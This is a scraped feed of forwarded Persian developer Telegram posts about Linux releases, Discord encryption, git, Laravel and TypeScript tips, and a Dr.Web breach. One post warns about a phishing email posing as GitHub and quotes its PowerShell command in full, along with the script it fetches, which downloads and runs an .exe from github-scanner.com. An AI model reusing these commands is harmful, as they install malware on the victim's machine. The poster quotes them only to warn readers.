Forwarded from 🎄 یک برنامه نویس تنبل (Raymond Dev)
🔶 دیسکورد بالاخره با افزودن رمزگذاری سرتاسری، قابلیت تماس ویدیویی و صوتی را امنتر کرد
طبق اعلام دیسکورد، قابلیت رمزگذاری مکالمات صوتی و تصویری این پلتفرم با نام DAVE شناخته میشود. ظاهراً این شرکت هنگام تصمیمگیری درمورد اینکه چه ویژگیهای صوتی و تصویری را رمزگذاری کند، به استفاده از راهکاری کامل رو آورده است.
#خبر
@TheRaymondDev
طبق اعلام دیسکورد، قابلیت رمزگذاری مکالمات صوتی و تصویری این پلتفرم با نام DAVE شناخته میشود. ظاهراً این شرکت هنگام تصمیمگیری درمورد اینکه چه ویژگیهای صوتی و تصویری را رمزگذاری کند، به استفاده از راهکاری کامل رو آورده است.
#خبر
@TheRaymondDev
Discord
Meet DAVE: Discord’s New End-to-End Encryption for Audio & Video
We’re rolling out end-to-end encryption for voice and video calls! We’d like to share why we’re bringing E2EE A/V to Discord, share our design and implementation goals, and provide a high-level technical overview of how it works.
Forwarded from کانال اطلاعرسانی توزیع پارچ
پارچ نگارش ۱۸-۰۹-۲۰۲۴ عرضه شد.
تغییرات:
۱- میزکار پلاسما اکنون شخصیسازی شده است (زمینه تیره پیشفرض)
۲- حذف بستههای اضافی پلاسما
۳- بهروزرسانی به کرنل ۶.۱۰
دریافت:
نگارش پلاسما 🖼️
نگارش گنوم 🖼️
💜 @ParchLinux
تغییرات:
۱- میزکار پلاسما اکنون شخصیسازی شده است (زمینه تیره پیشفرض)
۲- حذف بستههای اضافی پلاسما
۳- بهروزرسانی به کرنل ۶.۱۰
دریافت:
نگارش پلاسما 🖼️
نگارش گنوم 🖼️
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from محتوای آزاد سهراب
بتای فدورای ۴۱ اومده، اومدن ptyxis رو کردن ترمینال پیشفرض توی گنوم.
https://9to5linux.com/fedora-linux-41-enters-public-beta-testing-with-linux-kernel-6-11-and-gnome-47
ما همینکارو کردیم، دوستان کاربر گنوم میخواستن خون مارو بریزن که آره، این جزو برنامههای پیشفرض گنوم نیست 👺 شما ارزش مشارکت مارو ندارین 👺
@SohrabContents
https://9to5linux.com/fedora-linux-41-enters-public-beta-testing-with-linux-kernel-6-11-and-gnome-47
ما همینکارو کردیم، دوستان کاربر گنوم میخواستن خون مارو بریزن که آره، این جزو برنامههای پیشفرض گنوم نیست 👺 شما ارزش مشارکت مارو ندارین 👺
@SohrabContents
9to5Linux
Fedora Linux 41 Enters Public Beta Testing with Linux Kernel 6.11 and GNOME 47 - 9to5Linux
Fedora Linux 41 distribution is now available for public beta testing powered by Linux kernel 6.11 and featuring the GNOME 47 desktop.
Forwarded from 🎄 یک برنامه نویس تنبل (Raymond Dev)
This media is not supported in your browser
VIEW IN TELEGRAM
Forwarded from Pishro App
اینجور مواقع شما دیگه نمیخواید یه کامیت جدید بزنید و دلتون میخواد که همین تغییر کوچیک رو روی کامیت قبلیتون بزنید
git commit –amend
هر تغییری که دادید رو روی کامیت قبلیتون ثبت کنید
git commit --amend -m “this fixes the previous oopsies”
اطلاعات بیشتر :
https://smartlogic.io/blog/git-commit-amend/
#trick
#git
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Armon technical logs (armon Taheri)
توصیه میکنم اگر در حوزه نرمافزار تحت وب فعالیت میکنین این ۱۲ فاکتور رو مطالعه کنین.
https://12factor.net/
https://12factor.net/
12factor.net
The Twelve-Factor App
A methodology for building modern, scalable, maintainable software-as-a-service apps.
Forwarded from Golden Code (@lix)
در لاراول orderByRaw بهتون این امکان رو میده که نتایج رو بتونید بر اساس یه سری محاسبات خاصی مرتب کنید.
مثلا ؟
میتونیم نتایج رو بر اساس اختلاف بین دو ستون ( قیمت و تخفیف) مرتب کنیم!
این آپشن یه سری جاها کدارو واقعا بهینه میکنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنید 👇🏾)
https://x.com/laravelbackpack/status/1836004683594469864?t=IGgicccC4LllTLBm0hRviw&s=19
مثلا ؟
میتونیم نتایج رو بر اساس اختلاف بین دو ستون ( قیمت و تخفیف) مرتب کنیم!
این آپشن یه سری جاها کدارو واقعا بهینه میکنه.
#laravel
@GoldenCodeir
(به منبع و مثالش دقت کنید 👇🏾)
https://x.com/laravelbackpack/status/1836004683594469864?t=IGgicccC4LllTLBm0hRviw&s=19
X (formerly Twitter)
Backpack for Laravel (@laravelbackpack) on X
#Laravel Tip
The eloquent's method `orderByRaw()` lets us simply pass a raw query to order the results.
For example, sorting by the difference between two columns.
The eloquent's method `orderByRaw()` lets us simply pass a raw query to order the results.
For example, sorting by the difference between two columns.
👍2
Forwarded from LearnPOV | لرن پی او وی
Forwarded from دستاوردهای یادگیری عمیق(InTec)
همچنان با اختلاف بهترین Roadmap برای هوش مصنوعی همین هست
یک سری موارد موردی رو فقط درحال حاضر میتونم بهش اضافه کنم
مثل، کانال Andrej Karpathy توی یوتیوب و ...
لطفاً درخواست #roadmap جدید نفرستید.
این مورد بهترین هست.
یک سری موارد موردی رو فقط درحال حاضر میتونم بهش اضافه کنم
مثل، کانال Andrej Karpathy توی یوتیوب و ...
لطفاً درخواست #roadmap جدید نفرستید.
این مورد بهترین هست.
Forwarded from ⚝
مشغول بررسی رایانامههای بخش هرزنامه بودم، متوجّه یکیشون شدم که از روی یکی از مخازن عمومی گیتهابم ارسال شده بود. کاملاً مشابه رایانامههای معمول گیتهاب بود و حتّیٰ دامنهش هم github-scanner[dot]com بود. ازم خواست برای تأیید ربات نبودنم، پنجرهٔ Run ویندوز رو باز کنم، این رو داخلش بنویسم و اینتر بزنم:
که در واقع، این کد رو اجرا میکنه:
من که ویندوز ندارم ولی خب، قانع شدم که چرا رایانامه که در واقع یه خدمت جزیرهای بوده، الان مبدّل شده به یه خدمت مرکزگرایانه.
#note #learn
@amiria703_channel
powershell.exe -w hidden -Command "iex (iwr 'https://github-scanner.com/download.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
که در واقع، این کد رو اجرا میکنه:
$webClient = New-Object System.Net.WebClient
$url1 = "https://github-scanner.com/l6E.exe"
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
من که ویندوز ندارم ولی خب، قانع شدم که چرا رایانامه که در واقع یه خدمت جزیرهای بوده، الان مبدّل شده به یه خدمت مرکزگرایانه.
#note #learn
@amiria703_channel
Forwarded from دستاوردهای یادگیری عمیق(InTec)
امشب یا فردا بسته به اینترنت :
یک گزارش دقیق از Qwen2.5 خواهیم داشت.
البته مدل Qwen2.5 coder تو راه هست
این بار از تکنیک :
https://t.iss.one/pytens/1550
استفاده خواهم کرد برای ارزیابی خروجی.
(شخصاً دارم این تکنیک رو اتوماتیک میکنم، تا همهی پرامپتهای local خودم با این روش کار کنند.)
یک گزارش دقیق از Qwen2.5 خواهیم داشت.
البته مدل Qwen2.5 coder تو راه هست
این بار از تکنیک :
https://t.iss.one/pytens/1550
استفاده خواهم کرد برای ارزیابی خروجی.
(شخصاً دارم این تکنیک رو اتوماتیک میکنم، تا همهی پرامپتهای local خودم با این روش کار کنند.)
Telegram
دستاوردهای یادگیری عمیق(InTec)
یک سری از افراد اومدند و پرامپتهایی رو منتشر کردند که عملکردی مشابه chatGpt o1 رو پیادهسازی میکنه و شاید باعث سورپرایز شما هم بشه اما واقعا این روش باعث شده نتایج بسیار بهتری داده بشه توسط مدلها؛
llama3.1, gemini flash, qwen2, chatGpt-4omini
مدلهایی…
llama3.1, gemini flash, qwen2, chatGpt-4omini
مدلهایی…
Forwarded from Linuxor ?
ما آینده رو پیشبینی کردیم ، امروز کلی گوشی منفجر شد
هکرا وقتی آسیب پذیری پیدا میکنن، نمیان سریع ازش استفاده کنن در نهایت تارگت هم بگه دستت درد نکنه هکر جون که مشکلمون رو بهمون نشون دادی
هکرا هی میان اون آسیب پذیری رو با آسیب پذیری های دیگه chain و ترکیب میکنن تا اون رو بزرگ و بزرگ ترش کنن، در نهایت این کار قدرت زیادی به هکرا میده.
ماجرا جایی جالب میشه که شناسنایی این نوع حملات خیلی سخت میشه چون مجموعه ای از آسیب پذیری ها chain شده و یه قدرت زیادی به هکر داده و هکر عملا هر کاری میتونه کنه.
نکته جالب تر اینجاست هکرا زمین های بازی هم عوض میکنن، یعنی وقتی یه مشکل پیدا کردن قبل از استفاده اون رو روی زمین های دیگه هم تست میکنن، مثلا میگه روی پیجر تونستم روی گوشی هم حالا یه تستی میکنم.
🐧 @Linuxor
هکرا وقتی آسیب پذیری پیدا میکنن، نمیان سریع ازش استفاده کنن در نهایت تارگت هم بگه دستت درد نکنه هکر جون که مشکلمون رو بهمون نشون دادی
هکرا هی میان اون آسیب پذیری رو با آسیب پذیری های دیگه chain و ترکیب میکنن تا اون رو بزرگ و بزرگ ترش کنن، در نهایت این کار قدرت زیادی به هکرا میده.
ماجرا جایی جالب میشه که شناسنایی این نوع حملات خیلی سخت میشه چون مجموعه ای از آسیب پذیری ها chain شده و یه قدرت زیادی به هکر داده و هکر عملا هر کاری میتونه کنه.
نکته جالب تر اینجاست هکرا زمین های بازی هم عوض میکنن، یعنی وقتی یه مشکل پیدا کردن قبل از استفاده اون رو روی زمین های دیگه هم تست میکنن، مثلا میگه روی پیجر تونستم روی گوشی هم حالا یه تستی میکنم.
🐧 @Linuxor
Forwarded from One3erver.com
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Accio
A #typescript trick that was useful to me today:
MakeOptionalPropertiesNullable will make optional fields of T accept null as well as their type. e.g:
Will be transformed into:
How is this useful?
Working with different controllers, validators or even ORMs might produce situations like this. For example in Prisma schemas any optional value is simply nullable so for an easier type mapping you might want to introduce a persistence model from your read model via this type mapper.
Or you want to accept both null and undefined from your users but don't want to clutter your domain types with it
How is this even working?
We are taking advantage of typescript mappers/transformers. NullableKeys<T> first creates a type that assigns
What now? now we pass our type to MakeOptionalPropertiesNullable<T> which at first, goes through any key of T that is not included in NullableKeys<T>. Meaning any key that isn't optional. We don't want to touch those so we simply assign their respective types via T[K]. Now it's time for optional keys to join the party. They will be assigned their own types along side a
type NullableKeys<T> = {
[K in keyof T]: undefined extends T[K] ? K : never;
}[keyof T];
export type MakeOptionalPropertiesNullable<T> = {
[K in Exclude<keyof T, NullableKeys<T>>]: T[K];
} & {
[K in NullableKeys<T>]: T[K] | null;
};MakeOptionalPropertiesNullable will make optional fields of T accept null as well as their type. e.g:
interface User {
name: string;
lastName?: string;
}Will be transformed into:
interface NewUser {
name: string;
lastName?: string | null;
}How is this useful?
Working with different controllers, validators or even ORMs might produce situations like this. For example in Prisma schemas any optional value is simply nullable so for an easier type mapping you might want to introduce a persistence model from your read model via this type mapper.
Or you want to accept both null and undefined from your users but don't want to clutter your domain types with it
How is this even working?
We are taking advantage of typescript mappers/transformers. NullableKeys<T> first creates a type that assigns
never to any property of T that is not optional (deciding with undefined extends T[K]) and at the end it will get the keys of the transformed object (which will skip any field that has the type never). So we end up with a type like below: "field1" | "field2" | "field3" | ...
What now? now we pass our type to MakeOptionalPropertiesNullable<T> which at first, goes through any key of T that is not included in NullableKeys<T>. Meaning any key that isn't optional. We don't want to touch those so we simply assign their respective types via T[K]. Now it's time for optional keys to join the party. They will be assigned their own types along side a
| null to make them nullable. A simple & will seal the deal at the end.Forwarded from محتوای آزاد سهراب
خب، داشتم محتویات کانال قبلیم رو که حذف کردم (توی یکجا بکاپ داشتم) مرور میکردم، دوتا پست رو که به نظر خودم مفید بودن برداشتم و الان میخوام بزارم توی این کانال.
@SohrabContents
@SohrabContents
Forwarded from محتوای آزاد سهراب
چطور یک ریمستر از دبیان بسازیم؟ 🫤
خیلی از سوالایی که از من پرسیده میشه اینه که من یک توزیع دبیان بیس نصب کردم، میخوام ازش یک کپی بسازم که کانفیگ هامو داشته باشم و یا میخوام توزیع خودمو داشته باشم.
اول از همه اینکه شما باید تغییراتی که میخواین رو اعمال کنید توی دبین، تغییر تم و غیره
توجه کنید که تم ها باید توی root نصب شده باشن:
/usr/share/icons
/usr/share/themes
بعد از دادن تغییرات و اعمال کردنشون، پوشه های
~/.config
و
~/.local
رو به
/etc/skel
ببرید.
برنامه penguin eggs رو.نصب کنید و طبق دستور العمل گیتهابش مراحل رو طی کنید.
بعد از اتمام کار شما یک iso دارید که کانفیگ ها و تغییرات و برنامه هایی که نصب کردید توش باقی مونده.
تذکر: این روش اسمش ریمستر کردنه، صرفا ساخت یک توزیع جدید نیست چون بیس همون بیس قدیمه.
پ.ن: میخواستم یک فیلم هم از مراحلش بسازم ولی سیستمم ترکید متاسفانه.
@SohrabContents
خیلی از سوالایی که از من پرسیده میشه اینه که من یک توزیع دبیان بیس نصب کردم، میخوام ازش یک کپی بسازم که کانفیگ هامو داشته باشم و یا میخوام توزیع خودمو داشته باشم.
اول از همه اینکه شما باید تغییراتی که میخواین رو اعمال کنید توی دبین، تغییر تم و غیره
توجه کنید که تم ها باید توی root نصب شده باشن:
/usr/share/icons
/usr/share/themes
بعد از دادن تغییرات و اعمال کردنشون، پوشه های
~/.config
و
~/.local
رو به
/etc/skel
ببرید.
برنامه penguin eggs رو.نصب کنید و طبق دستور العمل گیتهابش مراحل رو طی کنید.
بعد از اتمام کار شما یک iso دارید که کانفیگ ها و تغییرات و برنامه هایی که نصب کردید توش باقی مونده.
تذکر: این روش اسمش ریمستر کردنه، صرفا ساخت یک توزیع جدید نیست چون بیس همون بیس قدیمه.
پ.ن: میخواستم یک فیلم هم از مراحلش بسازم ولی سیستمم ترکید متاسفانه.
@SohrabContents
Forwarded from Dev (♪ Ayhan)
Unraveling the Mystery of Cranial Nerves
https://ayhandev.hashnode.dev/unraveling-the-mystery-of-cranial-nerves
https://ayhandev.hashnode.dev/unraveling-the-mystery-of-cranial-nerves
Forwarded from Gopher Academy
🔵 عنوان مقاله
Streamline Your Product Delivery with monday dev
🟢 خلاصه مقاله:
مقالهای که ارائه شده به بررسی ابزاری به نام "monday dev" میپردازد که فرآیند تولید و عرضه محصولات را تسریع بخشیده و سادهسازی میکند. این ابزار تمام مراحل مختلف توسعه محصول، از مرحله ایدهپردازی تا عرضه نهایی، را در یک پلتفرم یکپارچه ارائه میدهد. استفاده از "monday dev" به تیمها این امکان را میدهد که به طور موثرتر و هماهنگتری کار کنند، به این ترتیب از پراکندگی منابع و زمان در جریان توسعه محصول جلوگیری میکند. این پلتفرم با ارائه امکانات و ابزارهای جامع، روند ایدهپردازی تا تحویل محصول را بهینهسازی کرده و بدین ترتیب میتواند به تسریع در عرضه محصول کمک کند، در حالی که همزمان اطمینان حاصل میشود که تمامی جوانب مورد نیاز در نظر گرفته شدهاند.
🟣لینک مقاله:
https://golangweekly.com/link/159869/web
➖➖➖➖➖➖➖➖
👑 @gopher_academy
Streamline Your Product Delivery with monday dev
🟢 خلاصه مقاله:
مقالهای که ارائه شده به بررسی ابزاری به نام "monday dev" میپردازد که فرآیند تولید و عرضه محصولات را تسریع بخشیده و سادهسازی میکند. این ابزار تمام مراحل مختلف توسعه محصول، از مرحله ایدهپردازی تا عرضه نهایی، را در یک پلتفرم یکپارچه ارائه میدهد. استفاده از "monday dev" به تیمها این امکان را میدهد که به طور موثرتر و هماهنگتری کار کنند، به این ترتیب از پراکندگی منابع و زمان در جریان توسعه محصول جلوگیری میکند. این پلتفرم با ارائه امکانات و ابزارهای جامع، روند ایدهپردازی تا تحویل محصول را بهینهسازی کرده و بدین ترتیب میتواند به تسریع در عرضه محصول کمک کند، در حالی که همزمان اطمینان حاصل میشود که تمامی جوانب مورد نیاز در نظر گرفته شدهاند.
🟣لینک مقاله:
https://golangweekly.com/link/159869/web
➖➖➖➖➖➖➖➖
👑 @gopher_academy
monday.com
monday.com - Team Collaboration Software
Forwarded from Code Module | کد ماژول (𔓙)
تکنیک های بیشتری برای نوشتن یک رزومه خوب یاد بگیر 👾
توی این پست یه ریپازیتوری خوب بهتون معرفی میکنم که تکنیک های رزومه نویسی، که میتونه در ساخت یه رزومه خوب و استاندارد به شما کمک کنه، شرح داده.
🔗 Link
#resume
@CodeModule
توی این پست یه ریپازیتوری خوب بهتون معرفی میکنم که تکنیک های رزومه نویسی، که میتونه در ساخت یه رزومه خوب و استاندارد به شما کمک کنه، شرح داده.
🔗 Link
#resume
@CodeModule
GitHub
GitHub - ManiMozaffar/awesome-resumes: Create resumes and CV with awesome-resumes. Practical tips, guidelines, guide, examples…
Create resumes and CV with awesome-resumes. Practical tips, guidelines, guide, examples and documentation for all IT fields - ManiMozaffar/awesome-resumes
Forwarded from DevTwitter | توییت برنامه نویسی
در میان کلی خبر مثل انفجار پیجرها، باجگیری از بانکهای ایران، CTF دزدی شاپرک و غیره، هک شدن Dr.Web هم رخ داده و اینقدر وضعیت بد بوده که مجبور شدن اتصال تمامی سرورها به اینترنت را قطع کنند!
تعداد 400 سرور کامل هک شدند و 390G داده به سرقت رفته است!
https://www.bleepingcomputer.com/news/security/russian-security-firm-drweb-disconnects-all-servers-after-breach/
@DevTwitter | <Vahid Nameni/>
تعداد 400 سرور کامل هک شدند و 390G داده به سرقت رفته است!
https://www.bleepingcomputer.com/news/security/russian-security-firm-drweb-disconnects-all-servers-after-breach/
@DevTwitter | <Vahid Nameni/>
Forwarded from Geniuses Group (Omid Hekayati)
🔗 با همفکری و همراهی چند تن از دوستان سومین دوره جلسات کتاب خوانی و نقد و بررسی آن را ترتیب دادیم.
جلسات بدلیل فیلتر شدن نرم افزار دیسکورد در ایران، در گوگل میت برگزار میشه. در کامنت های همین پست، جزییات شرکت در جلسات و صوت ضبط شده جلسات را قرار میدیم.
🤝 در این سری جلسات کتاب Designing Data-Intensive Applications (THE BIG IDEAS BEHIND RELIABLE, SCALABLE, AND MAINTAINABLE SYSTEMS) از نشر o'reilly را بررسی خواهیم کرد. آرشام در این پست بیشتر در مورد این کتاب توضیح داده.
🧠 در جلسات قصد هست همانطور که کتاب هم تاکید داره تبیین درستی از کلمه Data در حوزه #توسعه #نرم_افزار برای خودمون ایجاد کنیم. هر چند همین ابتدا تاکید می کنیم، این کلمه Data محدود به حوزه توسعه نرم افزار قطعا نیست.
✨در انتها یک جلمه از هم پیش گفتار کتاب اینجا بیاریم و یادآوری کنیم که یکی از اهداف از سلسه جلسات قبل یعنی بررسی #فلسفه_علم دقیقا فهم چرایی جمله زیر هست که در اونجا با #یادگیری و جداسازی #علم از #ابزار می تونیم با درک عمیق پرسش ها، #تصمیم_سازی های با کیفیت تری داشته باشه.
Software keeps changing, but the fundamental principles remain the same.
جلسات بدلیل فیلتر شدن نرم افزار دیسکورد در ایران، در گوگل میت برگزار میشه. در کامنت های همین پست، جزییات شرکت در جلسات و صوت ضبط شده جلسات را قرار میدیم.
🤝 در این سری جلسات کتاب Designing Data-Intensive Applications (THE BIG IDEAS BEHIND RELIABLE, SCALABLE, AND MAINTAINABLE SYSTEMS) از نشر o'reilly را بررسی خواهیم کرد. آرشام در این پست بیشتر در مورد این کتاب توضیح داده.
🧠 در جلسات قصد هست همانطور که کتاب هم تاکید داره تبیین درستی از کلمه Data در حوزه #توسعه #نرم_افزار برای خودمون ایجاد کنیم. هر چند همین ابتدا تاکید می کنیم، این کلمه Data محدود به حوزه توسعه نرم افزار قطعا نیست.
✨در انتها یک جلمه از هم پیش گفتار کتاب اینجا بیاریم و یادآوری کنیم که یکی از اهداف از سلسه جلسات قبل یعنی بررسی #فلسفه_علم دقیقا فهم چرایی جمله زیر هست که در اونجا با #یادگیری و جداسازی #علم از #ابزار می تونیم با درک عمیق پرسش ها، #تصمیم_سازی های با کیفیت تری داشته باشه.
Software keeps changing, but the fundamental principles remain the same.